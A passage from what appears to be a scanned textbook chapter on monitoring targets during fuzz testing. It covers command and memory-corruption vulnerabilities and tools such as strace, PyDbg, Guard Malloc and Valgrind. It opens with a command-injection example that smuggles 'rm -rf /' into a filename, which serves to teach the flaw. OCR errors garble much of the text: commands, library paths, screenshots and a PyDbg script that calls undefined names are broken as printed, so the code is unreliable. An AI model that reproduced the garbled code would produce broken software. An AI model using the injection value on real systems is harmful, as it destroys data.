mand in a shell. The shell has many metacharacters such as ;, |, >, and so forth. In
this case, if the user-supplied data is not properly filtered, an attacker could ask to
have the following file “a;rm -rf /” unzipped, which would result in the following
command being passed to the shell

unzip a; rm -rf /

Obviously, this could lead to a problem. It can be difficult to detect the meta
data injection type of vulnerability. In the SQL injection example, a monitor could
look for certain types of errors being returned by the server. The command injec-
tion example could be detected by monitoring the child processes of the target
process. A more sophisticated monitor would know which metadata the fuzzer
was currently injecting and then look for its use by the target application. This
might involve monitoring interprocess communication or debugging the target (or
an associated process).

6.1.4 Memory-Related Vulnerabilities

The plague of computer security for the last 30 years has been the buffer overflow.
This common vulnerability has given rise to a flood of different worms and exploits.
At its core, a buffer overflow is an example of a broader class of memory-related
vulnerabilities. There are basically two types of memory-related problems that can
arise. The first is when the program allows memory reads that should not be per-
mitted. This can allow an attacker to read private information from the application,
including passwords, private keys, and other sensitive application data. Additionally,
metadata from the memory layout may be accessed. This information may allow an
attacker to better understand the layout of memory in the target application, which
may then allow exploitation (perhaps with a different vulnerability) of a vulner-
ability that is otherwise difficult to exploit.

The other type of memory issue is when an application allows memory to be
written where it should not be allowed. This is typically the worse of the two as
it actually allows for memory corruption. In its most simple form, it may allow
for the change of application data, which may force authentication to wrongfully
succeed. Typically, this ability to write data into memory is used by an attacker to
change the flow of execution and run code supplied by the attacker, what is known
as arbitrary code execution. The most trivial example of this is in the case of a stack
buffer overflow. In this scenario, a local buffer on the stack is overflowed with data
by an attacker. Near this stack buffer is metadata used by the process including the
return address for the current function. If this return address is overwritten with
attacker-supplied data, when the function returns, the attacker can control where
code execution will continue. In more complex examples, such as heap overflows
or wild pointer writes, other data may be overwritten, but the result is often the
same—that the attacker can get control of the execution flow.
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As you’ve probably guessed, it is much harder to determine when memory corrup-
tion has occurred. Otherwise, the spread of worms and exploits would be stopped.
The problem is, applications typically read and write memory very frequently and
in mostly unpredictable ways. In a best (or worst) case scenario, memory corruption
will result in a program crash. This is easy to detect with either a debugger or just by
the availability of the application. However, this is not always the case. Consider the
case of a buffer overflow. The reason a program crashes when a buffer is overflown
is that other data, perhaps application data, perhaps metadata, is corrupted. But,
it is easy to imagine a situation in which a buffer is overflown by just a few bytes.
Perhaps those few bytes are not used again or not in a dangerous way. Perhaps dif-
ferent inputs would have caused more bytes to be overflown, which would lead to
serious security problems. Either way, this can be very difficult to detect if it does
not cause a crash. There are ways, as we’ll see later, but they all involve monitor-
ing the way the program allocates, deallocates, and accesses memory. At the very
least, such intrusive methods will greatly slow down an application, which can be
a major issue when thousands of inputs need to be tested.

Methods of Monitoring

We discussed some of the different types of problems that can arise in a target sys-
tem and suggested some ideas on how we might monitor the target for them. The
types of monitoring that can be done will be highly dependent on the system being
fuzzed. Remember that fuzzing can be used for any system that accepts user input,
including applications, network devices, wireless receivers, cell phones, microchips,
even toasters. Clearly, the types of monitoring used on a program compiled from
C code running on Windows will be different than that of a Juniper router or a
Web application written in Perl. That being said, we try to present solutions that
would work for all these situations and focus in on compiled applications where
things can get most interesting. In the next few sections, we go into more detail on
exactly how monitoring can be done and give examples of available software that
we can use when possible.

6.2.1 Valid Case Instrumentation

The most trivial method for detecting a problem when fuzz testing is to continually
check to ensure the service is still available. Consider a target application consisting
of a server that accepts TCP connections. In between each test case, a TCP connec-
tion can be made with the server to ensure it is still responsive to network traffic.
Using this method, if a particular input caused the target to become unresponsive,
the fuzzer would immediately become aware of this fact. A slightly better method
is that in between test cases, a valid input can be sent and the response can be ana-
lyzed to ensure it remains unchanged. For example, if a Web server is being fuzzed,
a valid HTTP page can be requested and the resulting page can be examined to
ensure that it is received exactly as expected. Likewise, the fuzzer may authenticate
to an FTP server being fuzzed to ensure that it is still possible to do this and this
action is performed in a timely manner.
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Many fuzzers can perform this type of monitoring already. For example, the
PROTOS test suite that fuzzes the SNMP protocol has the option -zerocase, which
sends a valid test case after each fuzzed input to check if the target is still respond-
ing. Here is an example:

C:\Documents and Settings\Charlie\Desktop>java -jar cO6-snmpvl-
reqapp-rl.jar -host 192.168.1.100 -zerocase

. test-case #f74: injecting meta-data 0 bytes, data 4139 bytes
waiting 100 ms for reply...0 bytes received
test-case #74: injecting valid case...
waiting 100 ms for reply...0 bytes received
test-case #74: No reply to valid case within 100 ms. Retrying...
waiting 200 ms for reply...ERROR: ICMP Port Unreachable

Here, PROTOS has detected that there has been a problem with the server since
it did not respond to the valid test case.

One of the biggest drawbacks to valid case monitoring is that only the most
catastrophic problems can be detected. Obviously, this method can detect when
an application becomes unresponsive. In some cases, if the application becomes
degraded, this can also be detected. However, these are the only situations in which
this monitoring will succeed. Even in cases when a fault is found that can actually
crash the target, this may not be evident with this monitoring method. For example,
consider a typically configured Apache Web server. This server has one main process
that binds to port 80 and then spawns and manages a number of child processes.
These child processes actually handle the HTTP requests. Therefore, if an input
managed to cause a crash, it would be a crash of one of the child processes. By
design, the main process would then spawn additional child processes to replace
the process that crashed. The result would be that the Web server would remain
completely responsive and functional to an outside user. It would be hard to detect
this fault using this method and know that a problem had been identified.

This ties in with how the applications to be fuzzed should be run. Whenever
possible, try to run the application with debugging symbols. Then, if it crashes, it
will be possible to tie any problems back to the line of source code where it occurred.
Likewise, many servers support debug logging, which will record many internal
messages and will help indicate the application state. Furthermore, applications that
act as servers may have settings that allow them to run as a single process or thread
and not to daemonize. In the previous example regarding Apache, if Apache was
run with the “-X” option, it will not fork child processes or disassociate from the
terminal. This means any crash will cause the whole Apache process to go away
and this would be detectable. Under this option, detection of faults using valid test
cases would be possible. Of course, in black-box situations, it is not always possible
to choose the way the application is configured.

6.2.2 System Monitoring

Only monitoring the target with valid test cases has severe limitations. When avail-
able, monitoring the system on which the target application runs can provide better
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results. One powerful monitoring mechanism is simply watching application and
system logs. Well-written applications will log problems and internal inconsistencies
that they detect. Remember when we discussed how difficult it is to discover when
a crash occurs in a typically configured Apache Web server, due to the robust way
it is architected? Simply watching the logs will quickly solve this problem,

[Sun Dec 16 20:54:15 2007] [notice] child pid 174 exit signal
Segmentation fault (11)

The main Apache process monitors and logs when one of its child processes dies. Like-
wise, system logs may record information concerning system resource exhaustion.

Another aspect of a process that should be monitored is its interaction with
the file system. By watching which files are being opened (both successfully and
unsuccessfully), directory transversal vulnerabilities may be discovered. Figure 6.1
is a screenshot of the Filemon utility available from Microsoft.

On Linux, the strace utility can be used. The following code shows the trace of
the command “Is” filtering only on calls to the “open” function,

[cmiller@Linux ~1$% strace -eopen 1s

open(“/etc/1d.so.cache”, O_RDONLY) =3
open(“/1ib/librt.so.1”, O_RDONLY) =3
open(“/Tib/Tibacl.so.1”, O_RDONLY) =3
open(“/1ib/Tibselinux.so.1”, O_RDONLY) =3

open(“/1ib/Tibc.so.6”, O0_RDONLY) =3
open(“/1ib/1ibpthread.so0.0”, O_RDONLY) = 3
open(“/1ib/1ibattr.so.1”, O0_RDONLY) =3
open(*“/1ib/1ibdl.so0.2”, 0_RDONLY) =3
open(*“/1ib/1ibsepol.so.1”, O_RDONLY) =3

open(“/etc/selinux/config”, O_RDONLY|O_LARGEFILE) = 3
open(“/proc/mounts”, O_RDONLY|O_LARGEFILE) = 3
open(*“/etc/1d.so.cache”, 0_RDONLY) =3
open(“/1ib/1ibsetrans.so.0”, O_RDONLY) = 3
open(“/usr/1ib/locale/locale-archive”, O_RDONLY|O_LARGEFILE) = 3
open(“.”, O_RDONLY|O_NONBLOCK|O_LARGEFILE|O_DIRECTORY) = 3
open(*“/proc/meminfo”, O_RDONLY) =3

By looking for differences in the output for various inputs, anomalies can be
detected. If the monitor is especially intelligent, it can look for filenames being opened

B\ File Monitor - Sysinternals: www.sysinternals.com = @a
File Edit Options Volumes Help

HE | RBE | C | 97 | G

# Time Process Request Path Result Other
1069 30315 AM TivoBeacon.exe; 2652 OPEN CAWINDOWS \system32\Msctf. dil SUCCESS  Options: Open Access: Read-Attiby
1070 9:03154M TivoBeacon.exe: 2552 QUERY INFORMATION  C:AWINDOWS \system32\Msctf. di SUCCESS  Attributes: A
1071 3:03154M TivoBeacon.exe: 2652 CLOSE CAWINDOWS \system32\Msctf.di SUCCESS
1072 303154M TivoBeacon exe:2552 OPEN CAWINDOWS system32\Msetf di SUCCESS  Options: Open Access: 00100020
1073 9:0315AM TivoBeacon.exe: 2552 QUERY INFORMATION  C:AWINDOWS \system32\Msctf.di SUCCESS  Length: 294400
1074 303154M TivoBeaconexe:2552 CLOSE CAWINDOWS \system32\Msctf.di SUCCESS
1075 9:03154M TivoBeacon.exe: 2552 OPEN C:AWIND WS system32iMsctf. di SUCCESS  Options: Dpen Access: Read-Attribuy
1076 90315 4M TivoBeacon.exe: 2652 QUERY INFORMATION  C:AWINDOWS \systern32\Msctf.dl SUCCESS  Attibutes: &
1077 9:03154M TivoBeacon.exe: 2552 CLOSE CAWIND WS \system32\Msctf.dil SUCCESS
1078 9:0315AM |W¥ TivoBeacon exe:2552 OPEN C:AWIND WS \system32\Msctf.di SUCCESS  Options: Open Access: 00100020
1079 303154M [ TivoBeacon.ee: 2552 QUERY INFORMATION ~ CAWINDOWSsystem32\Mselfdi SUCCESS  Length: 234400
1IJE|D 30315 AM TivoBeacon.exe: 2552 CLOSE CAWINDOWS spstem324Msctf. dil SUCCESS ‘
< i >

Figure 6.1 A view of the files being accessed by the TiVoBeacon.exe executable.
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that contain data from the particular fuzzed input being used. Autodafé works in
this fashion, although it uses debugging mechanisms. Another option for monitoring
the interaction with the file system is using the Tripwire program. Tripwire takes
cryptographic hashes of each file specified and stores them in an offline database.
Later, it computes the hashes of the files again and compares them with the hashes
stored in the databases. Due to the nature of cryptographic hashes, any change to
a file will be seen by comparing the hashes taken with those stored in the database.
Using this method, it is easy to detect which files have changed during fuzzing.

Beyond files, the registry on Microsoft Windows controls the behavior of many
aspects of the system. Depending on the privilege level of the application being tested,
changes to particular (or arbitrary) registry entries may have security significance.
There are many good tools for monitoring registry changes; one is Registry Moni-
tor by Microsoft. Figure 6.2 shows a screen shot.

Another possibility for target monitoring lies in watching the network connec-
tions and traffic generated by the target system. Again, by monitoring the types
of traffic and their contents, anomalies can be detected that indicate something
unusual has occurred. Furthermore, the traffic between an application and a back-
end database can be monitored (if unencrypted), and the SQL commands issued
can be examined. Likewise, by using strace, you can see the data in the traffic by
monitoring the write/send system calls,

[cmiller@Linux ~]$ strace -ewrite testprog

write(3, “\23\0\0\0\3select * from help”, 23) = 23

Such methods can often detect many types of injection vulnerabilities.
In order to try to detect command injection vulnerabilities, a similar approach
can be taken. In this case, we’re interested in processes being spawned. This can

o Registry Monitor - Sysinternals: www.sysinternals.com [:][_g']
File Edit Options Help

HE | RBRO | 7 | g |

# Time Process FRequest Path Result Other |~
5463 4.20025208 stacsv.exer 1676 ClossKey  HKLM\Software\SigmaT ehSTSysTraph1.0 SUCCESS

5464 4.20028687 stacsv.exe 1676 Openkey HKLM\Software\SigmaT elSTSpsTraph1.0 SUCCESS  Access: x.
5465 4.20030403 stacsv.ene; 1676 QuenValue  HKLM\Software\SigmaT ehSTSysTrap\1. 0\ PKS upport SUCCESS Ol

5466 4.20032120 stacsv.ene: 1676 CloseKey  HKLM\Software\SigmaT ehS TSysTraph1.0 SUCCESS

5457 4.20035410 stacsv.ene: 1676 Openkey  HKLM\Software\SigmaT ehS TSysTraph1.0 SUCCESS  Access: Dk
5468 4.20037079 stacsv.ene: 1676 QuenValue  HKLM\Software\SigmaT ehSTSysTray\1.0\HPSupport SUCCESS Dl

5469 4.20036748 stacsv.ene: 1676 CloseKey  HKLM\Software\SigmaTehS TSysTraph1.0 SUCCESS

5470 4.20050097 stacsv.ene: 1676 Openkey  HKCC\Systern\CurentControlSet\Enum\HDAUDIONunc_01&ven_B384tdev_7631&subsys_117904f1 trev_1022\4t6cd3ce18040001\Dir.. SUCCESS  Access: Ox
5471 4.20052230 stacsv.exe: 1676 Quenalus  HKCCASystem’CurrentControlS st EnumsHDALDIO func_01 &ven_83846dev_76915subsys_117904f1drev_1022\446cd3cc18050001\Dir.. SUCCESS  0x8

5472 4.20054368 stacsv.ene: 1676 ClossKey  HKCCASpstemtCurrentControlS et Enum\HDAUDIO unc_01&ven_B384%dev_7691ksubsys_117904f1trev_1022\446cd3ee18080001\Dir.. SUCCESS

5500 4.70015717 stacsv.ene: 1676 Openkey  HKLM\Software\SigmaT ehSTSysTraph1.0 SUCCESS  Access: Di.
5501 4.70017624 stacsv.exe: 1676 Quenialue  HKLM\Software\SigmaT ehSTSysTrap1.0\DDLSupport SUCCESS  Ox0

5502 4.70019436 stacsv.ene: 1676 ClossKey  HKLM\Software\SigmaT ehSTSysTraph1.0 SUCCESS

5503 4.70022821 stacsv.ene! 1676 Operkey  HKLM\Software\SigmaT ehSTSysTraph1.0 SUCCESS  Access: Di.
5504 4.70024586 stacsv.ener 1676 Quen¥alue  HKLM\Software\SigmaT eSTSysTrapv1.0vSPKSupport SUCCESS Dl

5505 4.70026255 stacsv.ever 1676 ClossKey  HKLM\Software\SigmaT ehSTSysTraph1.0 SUCCESS

5506 4.70029497 stacsv.exe 1676 Operkey  HKLM\Software\SigmaT ehSTSysTraph1.0 SUCCESS  Access: Dk
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Figure 6.2 Registry Monitor watching access to the registry.
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be monitored with a GUI such as provided by Process Explorer from Windows
(Figure 6.3).

Again, strace can be used for this purpose as well.

Finally, it is important to monitor memory consumption as well as the amount
of CPU being consumed by the target application to detect DoS conditions. The
heart of DoS is for the attacker to perform an act that is computationally inexpen-
sive, such as sending a packet, while the target has to do something expensive, such
as allocate and zero out a large amount of memory or perform a complex calcula-
tion. Again, for Windows, Process Explorer can reveal these statistics (Figure 6.4).

On Linux, the ps command will reveal this information.

[cmiTler@Linux ~J$ ps -C httpd u

RSS TTY STAT START TIME COMMAND
Ss 08:41 0:00 /usr/sbin/

USER PID %CPU %MEM  VSZ
root 9343 0.0 1.1 23368 8836
httpd

apache 9345
apache 9346
apache 9347
apache 9348
apache 9349

Figure 6.3 Process Explorer reveals, among other things, the relationship between processes.
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& thunderbird.exe:3720 Properties |- |03
| TCP/IP || Security | Environment ||____Shings |
l_m Performance | Performance Graph || Threads |

ol 1jo
Priority 8 1/O Priority nfa
Kernel Time 0:00:00,859 Reads 7,6%
User Time 0:00:02.078 Read Delta 0
Total Time 0:00:02.937 Read Bytes Delta 0
Context 407 Writes 66
Virtual Memary Write Delta 2
Private Bytes 23,584 K ‘Write Bytes Delta 449 B
Peak Private Bytes 23,584 K Other 4,619
Virtual Size 96,436 K Other Delta 128
Page Faults 9,766 Other Bytes Delta 4.0 KB
Page Fault Delta 23 Handles
Physical Memary Handles 261
Memory Priority nfa GDI Handles 168
Working Set 32,988 K USER Handles 85

WS Private 21,124K

WS Shareable 11,864 K

W5 Shared 4,480 K
Peak Working Set 32,988 K

[ oK ] [ Cancel ]

Figure 6.4 The properties window from Process Explorer reveals detailed statistics about the
process in question.

0.0 0.5 23368 3984 ? S 08:41 0:00 /usr/sbin/httpd
0.0 0.5 23368 3984 ? S 08:41 0:00 /usr/sbin/httpd
0.0 0.5 23368 3984 ? S 08:41 0:00 /usr/sbin/httpd

This output shows, among other things, the amount of CPU and memory consump-
tion for all processes named “httpd.” By monitoring this output between fuzzed
inputs, those inputs that elicit large memory changes or CPU consumption can be
detected. Again, in this example, it probably would make more sense to not allow
the httpd server to fork.

6.2.3 Remote Monitoring

One problem with using system monitoring is that it can be hard to tie the informa-
tion from the monitor back to the fuzzer, which is typically running on a different
system, to help determine which test case caused a fault. However, in some cases,
it may be possible to access this system information remotely.

For example, with the use of SNMP, some information about the environment
in which the target program is running can be obtained remotely. The following
command can be issued against the target system between each test case,

charlie-millers-computer:~ cmiller$ snmpget -v 1 -c public
192.168.1.101.1.3.6.1.4.1.2021.11.3.0.1.3.6.1.4.1.2021.11.11.0
.1.3.6.1.4.1.2021.4.6.0

UCD-SNMP-MIB::ssSwapIn.0 = INTEGER: 0 kB
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UCD-SNMP-MIB::ssCpuldle.0 = INTEGER: 81
UCD-SNMP-MIB: :memAvailReal.0 = INTEGER: 967468 kB

The results of this command show that there is no memory swapping occurring,
that the CPU is currently 81% idle, and that there is currently 967 MB of available
memory. These numbers can indicate when the target program has received inputs
and is having difficulty processing it, which could indicate a denial of service con-
dition. In addition, SNMP allows for process monitoring with the PROC directive
in the snmpd.conf configuration file. The following command checks that there is
a process running with the name given in the configuration file,

charlie-millers-computer:~ cmiller$ snmpget -v 1 -c public
192.168.1.101 1.3.6.1.4.1.2021.2.1.5.1
UCD-SNMP-MIB::prCount.1 = INTEGER: 1

Additionally, SNMP can be configured to restart an application or service if it has
encountered an error. This is done with the PROCFIX directive. In fact, SNMP
can be configured to run arbitrary commands when instructed to do so. Finally,
SNMP can also be used to monitor log files for the occurrences of certain words
or phrases using the LOGMATCH directive.

Another way to monitor logging remotely is via syslogd in Unix environments.
By setting the syslog.conf file to contain only the line

X @hostname

all syslog messages will be forwarded to the machine hostname. In this way the
fuzzer can get an idea of any problems that may be occurring on the remote system.
It may also be possible to remotely monitor system information over the X11 or
VNC protocols or through custom-written programs or scripts.

6.2.4 Commercial Fuzzer Monitoring Solutions

Expanding on the last section regarding remote monitoring of target systems and
applications, many commercial fuzzers offer proprietary monitoring solutions. For
example, the Mu-4000 from Mu Security has many monitoring capabilities. It can
ssh or telnet into the target system and monitor logs, run scripts, restart the target
application, and perform other functions. Using this information, the Mu-4000 can
figure out exactly which fuzzed input (or sequence of inputs) caused a particular
fault. Likewise, the beSTORM fuzzer comes with a Windows and Linux executable
that can monitor the target application (Figure 6.5).

This monitor watches for exceptions in the application and reports them back

to the fuzzer. When it finds one, the fuzzer can report which test case caused it
(Figure 6.6).

6.2.5 Application Monitoring

More advanced methods of monitoring include more intrusive forms of monitoring
applications. Typically, this is done by attaching a debugger to the process. We’ve
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Figure 6.5 The proprietary beSTORM monitoring tool in action.
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Figure 6.6 The beSTORM monitor reveals that it has detected a vulnerability.

already done this a bit by using strace in an earlier section, which uses the ptrace
debugging facilities. Likewise, this is how the beSTORM monitor functions. The
reason it is useful to attach a debugger to the target process is that debuggers get
a first opportunity to handle faults, exceptions, or interrupts generated by the
application. Now, some of these events are perfectly normal for an application to
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encounter. For example, when a memory page is accessed that is currently paged
to disk, a page fault occurs, but this is entirely fine and expected. Likewise, the
program may register exception handling functions and intend for these functions
to be activated in situations such as when an innocuous error occurs. Again, this
may be completely typical of the application’s behavior and may not represent a
vulnerability at all.

However, sometimes an exception is not intended. For example, reading, writing,
or executing from unmapped memory will trigger an exception. Executing invalid
code or dividing by zero will also trigger an exception. These types of exceptions
are typical of those found when an application has had its memory corrupted when
processing unexpected inputs. An attached debugger will get a chance to view these
exceptions and take some kind of action, such as logging the result. This type of
application monitoring is useful for finding memory corruption vulnerabilities,
although there are still problems in cases when memory corruption occurs but no
exception is thrown. These will be addressed by the more advanced methods in
the next section.

So what are some of the best ways to use the debugging mechanisms of the
operating system for fuzz testing? The most trivial is to simply attach a debugger to
the process, such as OllyDbg or WinDbg. In this case, when an exception is thrown,
the debugger will receive it and the process will be frozen. Then, the methods used
to check for service availability can be used to detect that the process is no longer
responding to requests. Be warned that OllyDbg consumes a great deal of CPU, so
detecting a memory consumption DoS may be more difficult when using a debug-
ger. Also, don’t forget to only register for the important exceptions.

There are better ways to do this. One example is crash.exe, which is part of the
FileFuzz utility developed by Michael Sutton. This process starts an application and
monitors it for exceptions. If it detects one, it prints out the program’s context at the
time of the exception. When wrapped by another program (for example FileFuzz),
this is a great method of detecting when errors have occurred.

C:\Program Files\FileFuzz>crash.exe “C:\Program Files\QuickTime\
QuickTimePlayer.exe” 5000 C:\bad.mdv

[*] crash.exe “C:\Program Files\QuickTime\QuickTimePlayer.exe”
5000

C:\bad.m4v

[*] Access Violation

[*] Exception caught at 6828e4fe mov edx,[edx+0x4]

[*] EAX:00005af4 EBX:00000000 ECX:00000004 EDX:00142ffc

[*] ESI:00142ffc EDI:00116704 ESP:001160fc EBP:00000000

A more customized approach is to use something like PyDbg, a pure Python
Win32 debugger developed by Pedram Amini. A PyDbg script, which attaches to
a process and logs when exceptions occur, can be written in a few lines of Python
such as

import sys
from pydbg import *
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from pydbg.defines import *

def handler_crash (pydbg):
print pydbg.dump_context()
return DBG_EXCEPTION_NOT_HANDLED

dbg = pydbg()

for (pid, name) in dbg.enumerate_processes():
if name == sys.argv[1l]:
break

dbg.attach(pid)
dbg.set_callback(EXCEPTION_ACCESS_VIOLATION,handler_breakpoint)
dbg.debug_event_Tloop()

This script first defines what action to take when an access violation occurs. The
script then instantiates a pydbg instance. Next, it obtains the pid from the name of
the process as passed to the script as the first argument. Finally, it attaches to the
process, registers a callback that should be called when an access violation occurs,
and then continues the process. In practice, more exceptions should be handled and
more could be done when one occurs, but in just a few lines we have a basic fuzz
monitor. For more information on using PyDbg to monitor a target application,
please consult the fuzzing book by Sutton, Greene, and Amini.?

One final note on this type of monitoring solution regards fuzz testing on the
Mac OS X platform. This operating system has a feature called CrashReporter. This
is a system process that monitors all applications for crashes. When an application
crashes, it presents a dialogue similar to the one shown in Figure 6.7 and logs to
the file /var/log/system.log

Dec 10 12:13:25 charlie-millers-computer ReportCrash[285]:
Formulating crash report for process iTunes[283]

Dec 10 12:13:26 charlie-millers-computer com.apple.launchd[70]
([0x00x2b02b].com.apple.iTunes[283]): Exited abnormally:

Bus error

Dec 10 12:13:27 charlie-millers-computer ReportCrash[285]: Saved
crashreport to /Users/cmiller/Library/Logs/CrashReporter/
iTunes_200712-10-121320_charlie-millers-computer.crash using uid:
501 gid: 501, euid: 501 egid: 501

It also records a crash report into a local file, in this case ~/Library/Logs/Crash
Reporter/iTunes_2007-12-10-121320_charlie-millers-computer.crash. This file con-
tains information like a stack backtrace, register contents, and a list of libraries,
which are loaded in memory along with their addresses. Such helpful logging and

2M. Sutton, A. Greene, P. Amini. (2007). Fuzzing: Brute Force Vulnerability Discovery. Boston:
Addison Wesley.
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6.3

The application iTunes quit unexpectedly.
2007-12-10 12:13:59 -0500
EXC_BAD_ACCESS (SIGEUS)

KERN_PROTECTION_FAILURE at Ox0000000000000001

Thread 0 Crashed:
INTCompEncodeFrame + 2823362
INTDecoComponentDispatch + 170
CallComponentDispatch + 29
ImageCodecPreflight + 43
Base_CDPreDecompress + 540
Base_CDComponentDispatch + 125
CallComponentDispatch + 29
ImageCodecPreDecompress + 43
ICMSequencePreflightMewChannel + 1048
ICMSequenceBuildChain + 610

WO~ D h WO

( Report... ) ( Relaunch )

Figure 6.7 CrashReporter reveals that the iTunes application has crashed.

monitoring comes by default on Mac OS X and helps explain why it is a common
choice for many security researchers.

Advanced Methods

So far, we have discussed methods to monitor how a system is behaving from a
remote perspective, as well as how an application interacts with its environment
and efficient ways to monitor an application for exceptions. However, none of these
methods attempts to analyze what is happening within the application. This section
will show ways in which the execution of the application itself can be changed to
help better monitor its internal state. The use of the tools discussed here will all be
demonstrated in great detail in the last two sections of this chapter.

6.3.1 Library Interception

For applications that are dynamically linked, the easiest way to change the behavior
of the program is to change the code in the libraries that are linked to the applica-
tion. This can be done by creating a new library that exports the same symbols as
libraries used by the application. All that needs to be done is to ensure that this new
library’s code is the one that is used by the target.

This is exactly what is done by tools such as Electric Fence for Linux and Guard
Malloc for BSD/Mac OS X. We will discuss Guard Malloc in detail, although both
of these tools work in a very similar fashion. Guard Malloc supplies its own ver-
sion of the functions malloc() and free(), as well as some other related functions.

The malloc() function in the Guard Malloc library is different than a standard
malloc() implementation. It is designed in such a way to find buffer overflows and
other memory corruptions and terminate the program as soon as one is discovered.
It does this by utilizing the virtual memory system of the operating system. Every
time a buffer is allocated in the target program using malloc(), the Guard Malloc
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implementation is called. This version of malloc() places each allocation on its own
virtual memory page and places the end of the buffer at the end of this page. The
next virtual memory page is purposefully left unallocated. The result is that if a
buffer is overflown, the read or write to the bytes beyond the buffer will take place
on an unallocated virtual memory page, which will result in a bus error—a signal
easily caught by a debugger. This is true for wild memory reads or writes that occur
after or, to a lesser extent, before allocated buffers. When the program wants to free
its allocated memory, the page that held the buffer is deallocated. Therefore, any
reference to the freed buffer will again result in a bus error. This will find vulner-
abilities that read from freed memory as well as double free bugs.

The Guard Malloc library is used in place of the memory manipulation func-
tions from the system library by using the DYLD_INSERT_LIBRARIES environ-
ment variable as such:

DYLD_INSERT_LIBRARIES=/usr/1ib/Tibgmalloc.dylib ./testprogram

The way that Guard Malloc works is also governed by environment variables.
Some of the more interesting ones involving fuzz testing include:

« MALLOC_FILL_SPACE: This environment variable tells Guard Malloc to
fill new memory allocations with the byte 0x55. This can help find references
to uninitialized memory.

« MALLOC_ALLOW_READS: This variable causes the page following the
allocated buffer to be readable but not writable. Thus, wild reads will not
cause an error, but wild writes still cause a bus error. This is useful when
security researchers are looking for exploitable vulnerabilities but don’t care
about information leaks.

« MALLOC_STRICT_SIZE: Normally, Guard Malloc will align memory
allocations on 16 byte boundaries. In this scenario it is possible for small buf-
fer overflows to be missed for allocations whose size is not a multiple of 16.
This environment variable forces the end of the allocation to be adjacent to
the last byte of the page, which will catch even a single byte overflow. Please
note that this will cause memory allocations to possibly be unaligned. This
may cause programs that assume allocations are at least word aligned to fail.

Guard Malloc is a great tool to use when fuzzing because it will force most
heap memory corruptions to result in a program crash. (Of course, this will not
help find stack overflows since stack buffers are not created via malloc(). However,
stack overflows often cause a crash by default.) Using Guard Malloc avoids prob-
lems in which memory is read or corrupted by an input but not enough to cause a
full program crash.

There are significant drawbacks to the use of this tool, however. First, each
memory allocation made by the program requires two full pages of virtual mem-
ory. Large programs that make a lot of memory allocations may run out of virtual
memory when using this tool. Second, in addition to the fact that this allocation
routine is less efficient than the standard one, it can cause excessive swapping, which
can slow down the target program’s execution time by a factor of 100 or more.
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Therefore, fewer inputs can be sent to the target in the same amount of time. This
illustrates the tradeoff between monitoring and testing time.

It should be noted that open BSD has many of the features of Guard Malloc
built into the operating system. That is, when fuzzing on open BSD, you get Guard
Malloc for free.

6.3.2 Binary Simulation

Using library interception provides a quick and easy way to get a handle on the
memory allocation occurring in the target application. However, there is more we
would like to monitor. Doing this requires even further intrusion into the target.
One such approach is to use a synthetic CPU. This is the technique used when a
target program is run under Valgrind for Linux. Valgrind is a framework in which
a binary is run on a synthetic processor and various instructions and commands
can be run on the code as it is processed on this synthetic processor. One such set of
auxiliary instructions is called Memcheck and monitors every memory allocation/
deallocation as well as every memory access. This is exactly the type of information
we care about when fuzzing.

Valgrind works by loading its initialization routines when the target binary
begins using the dynamic loader (the same mechanism used by Guard Malloc). At
that point, Valgrind takes over execution of the application until it exits. None of
the actual instructions from the application are run on the real processor; they are
all run on the synthetic CPU. Each basic block is read by Valgrind, instrumented
by the associated tool, and then executed on the synthetic CPU. The tool can add
whatever code it likes to the instructions from the binary. As we mentioned, there is
a tool that comes with Valgrind that adds code that checks for memory accesses. It
could also check for memory consumption, file handles, or whatever else we wanted.
Of course, running an application on a synthetic CPU has some performance issues.
Typically, the program code will be increased by a factor 12 and there will be a
slowdown of 25 to 50 times. Again, because the binary is being run, the source code
isn’t needed and no changes have to be made to the development process.

Now let’s take a closer look at exactly how the Memcheck tool works. Since
Memcheck has the opportunity to run code between each instruction of the target
binary, it can monitor and take action with every memory usage. Memcheck adds
two bits of information to every bit in the computer’s virtual memory and to the
virtual hardware registers. One bit is called the valid-value (V) bit and the other
is the valid-address (A) bit. The V-bit basically indicates whether that bit has been
initialized by the program. This V-bit follows the corresponding bit of memory
wherever it goes. For example, suppose you had the following source code

int x,y;
x = 4;
y = X3

Initially, the 32 V-bits associated with both x and y would be set to 0, as they
are uninitialized. When the synthetic processor executed the instruction responsible
for making the assignment in the second line, it would set the 32 corresponding
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Vbit’s for the variable x to 1, as x is now initialized. The third line would set the
V-bits associated with the variable y. By tracking this, the use of uninitialized vari-
ables can be detected.

Likewise, the A-bit tracks whether the program has the right to access a given
bit of data. It sets the A-bit when memory is allocated or deallocated and also for
global and stack variables. At each memory access, Memcheck validates that the
corresponding A-bit is set. Between these two pieces of information, many differ-
ent types of vulnerabilities can be detected including use of uninitialized variables,
reading/writing memory after free, heap overflows and wild pointer read/writes,
memory leaks, and double frees.

Due to this level of preciseness, this method has some advantages over Guard
Malloc. For example, Guard Malloc only detects writing past the end of a buffer
(and even then can miss one byte overflows depending on the allocation). It will miss
most buffer underflows. Guard Malloc also does not usually find errors with unini-
tialized variables and can miss wild pointer writes (illegal array indexes). Finally,
due to the way Guard Malloc causes a bus error when it detects something, Guard
Malloc can only find a single bug at a time, while Valgrind can find many bugs.

6.3.3 Source Code Transformation

Guard Malloc and Valgrind work on binaries by using tricks with the dynamic
linker. They make changes to the way the program executes by intercepting calls
to library functions. Both work on binaries and neither requires source code. When
source code is available, even more complex changes to the way the target executes
can be made. We’ll look at an easier to use and more robust commercial solution
from Parasoft called Insure++. Insure++ works in Windows or Linux by replacing
the compiler by a custom tool written by Parasoft. This tool preprocesses the exist-
ing source code and adds additional code to it that makes note of each memory
allocation/deallocation and each memory read or write. In this way, it can find any
memory corruption at run-time. This transformed source code is then compiled with
the standard system compiler. This tool is designed to be easily integrated into the
development process. When the modified binary is executed, a GUI appears that
outlines any problems found and directs the tester to the line of source code that
caused the problem.

All these changes to the source code are important but do not change the
actual functioning of the application. By making these changes to the execution
of the target application, many types of vulnerabilities can be quickly identified.
Insure++ also has the advantage that it can continue to execute after some bugs have
been identified, whereas tools like Guard Malloc immediately halt the program.
The execution slowdown is also greatly reduced since the code is running at native
speed, but can still be significant. The main disadvantage is it is a commercial tool
and can be quite expensive.

6.3.4 Compiler Instrumentation

Some compilers, like GCC and Clang, offer different options to add run-time
instrumentation to the code generated during compile. One example of these
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instrumentations is AddressSanitizer.> AddressSanitizer is a memory error detection
tool similar to Valgrind Memcheck. In comparison to Memcheck, AddressSanitizer
